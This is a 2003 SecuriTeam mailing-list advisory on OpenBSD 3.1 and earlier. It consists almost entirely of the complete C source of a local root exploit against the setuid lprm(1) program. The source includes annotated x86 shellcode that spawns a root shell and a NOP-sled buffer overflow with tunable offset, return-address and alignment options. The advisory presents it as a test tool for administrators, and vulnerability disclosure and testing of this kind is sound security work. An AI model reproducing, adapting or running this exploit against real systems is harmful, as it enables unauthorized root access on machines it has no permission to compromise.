[EXPL] OpenBSD lprm(1) Exploit

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From: support@securiteam.com
To: list@securiteam.com
Date: 9 Mar 2003 16:02:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  OpenBSD lprm(1) Exploit
------------------------------------------------------------------------

SUMMARY

A vulnerability in OpenBSD's lprm has been found to allow gaining of
elevated privileges (root), the following is an exploit code that can be
used by administrators to test their system for the vulnerability.

DETAILS

Vulnerable systems:
 * OpenBSD version 3.1 and prior

Exploit:
/*
 * lprmexp.c
 *
 * OpenBSD <= 3.1 lprm(1) local root exploit
 *
 * By CMN <cmn@darklab.org>/<md0claes@mdstud.chalmers.se>
 *
 * Tested on OpenBSD 3.0 and 3.1.
 *
 * Fiddle with -a option from 1 to 7 to indent address in
 * buffer.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>

#define LPRMPROG "/usr/bin/lprm"
#define BUFSIZE 511
#define OFFSET 0
#define NOP 0x90

static char obsdcode[] =
    "\x31\xc0" /* xorl %eax, %eax */
    "\x50" /* pushl %eax */
    "\x50" /* pushl %eax */
    "\xb0\xb7" /* movb $0xb7, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x19" /* movb $0x19, %al */
    "\x50" /* pushl %eax */
    "\xcd\x80" /* int $0x80 */
    "\x50" /* pushl %eax */
    "\x50" /* pushl %eax */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x17" /* movb $0x17, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\x2b" /* movb $0x2b, %al */
    "\x50" /* pushl %eax */
    "\xcd\x80" /* int $0x80 */
    "\x50" /* pushl %eax */
    "\x50" /* pushl %eax */
    "\x31\xc0" /* xorl %eax, %eax */
    "\xb0\xb5" /* movb $0xb5, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\x50" /* pushl %eax */
    "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp, %ebx */
    "\x50" /* pushl %eax */
    "\x53" /* pushl %ebx */
    "\x89\xe2" /* movl %esp, %edx */
    "\x50" /* pushl %eax */
    "\x52" /* pushl %edx */
    "\x53" /* pushl %ebx */
    "\x50" /* pushl %eax */
    "\xb0\x3b" /* movb $0x3b, %al */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax, %eax */
    "\x40" /* inc %eax */
    "\x50" /* pushl %eax */
    "\x50" /* pushl %eax */
    "\xcd\x80"; /* int $0x80 */

u_long
getesp(void)
{
    __asm__("movl %esp, %eax");
}

void
usage(u_char *pname)
{
    printf("\n** OpenBSD lprm(1) local root exploit by CMN **\n");
    printf("\nUsage: %s printer [-o offs] [-r ret] [-a indent]\n\n",
        pname);
}

int
main(int argc, char *argv[])
{
    int i;
    u_char indent = 0;
    u_long raddr = 0;
    u_long offset = 0;
    u_char buf[BUFSIZE+1];

    if (argc < 2) {
        usage(argv[0]);
        exit(1);
    }

    argc--;
    argv++;

    while ( (i = getopt(argc, argv, "a:r:o:")) != -1) {
        switch (i) {
            case 'a':
                indent = atoi(optarg) % 8;
                break;

            case 'r':
                raddr = strtoul(optarg, NULL, 0);
                break;

            case 'o':
                offset = strtoul(optarg, NULL, 0);
                break;

            default:
                exit(1);
                break;
        }
    }

    if (!raddr) {
        raddr = getesp();
        raddr -= offset ? offset : OFFSET;
    }
    else
        raddr -= offset;

    printf("Using address 0x%08x\n", raddr);

    memset(buf, NOP, BUFSIZE);
    memcpy(&buf[BUFSIZE-(indent+4)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE-(indent+8)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE-(indent+12)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE-(indent+16)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE-(indent+20)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE-(indent+24)], &raddr, sizeof(raddr));
    memcpy(&buf[BUFSIZE]-(strlen(obsdcode)+100),
            obsdcode, strlen(obsdcode));
    buf[BUFSIZE] = '\0';

    execlp(LPRMPROG, "CMN", "-P", argv[0], buf, buf, NULL);
    exit(1);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:cmn@darklab.org> CMN.

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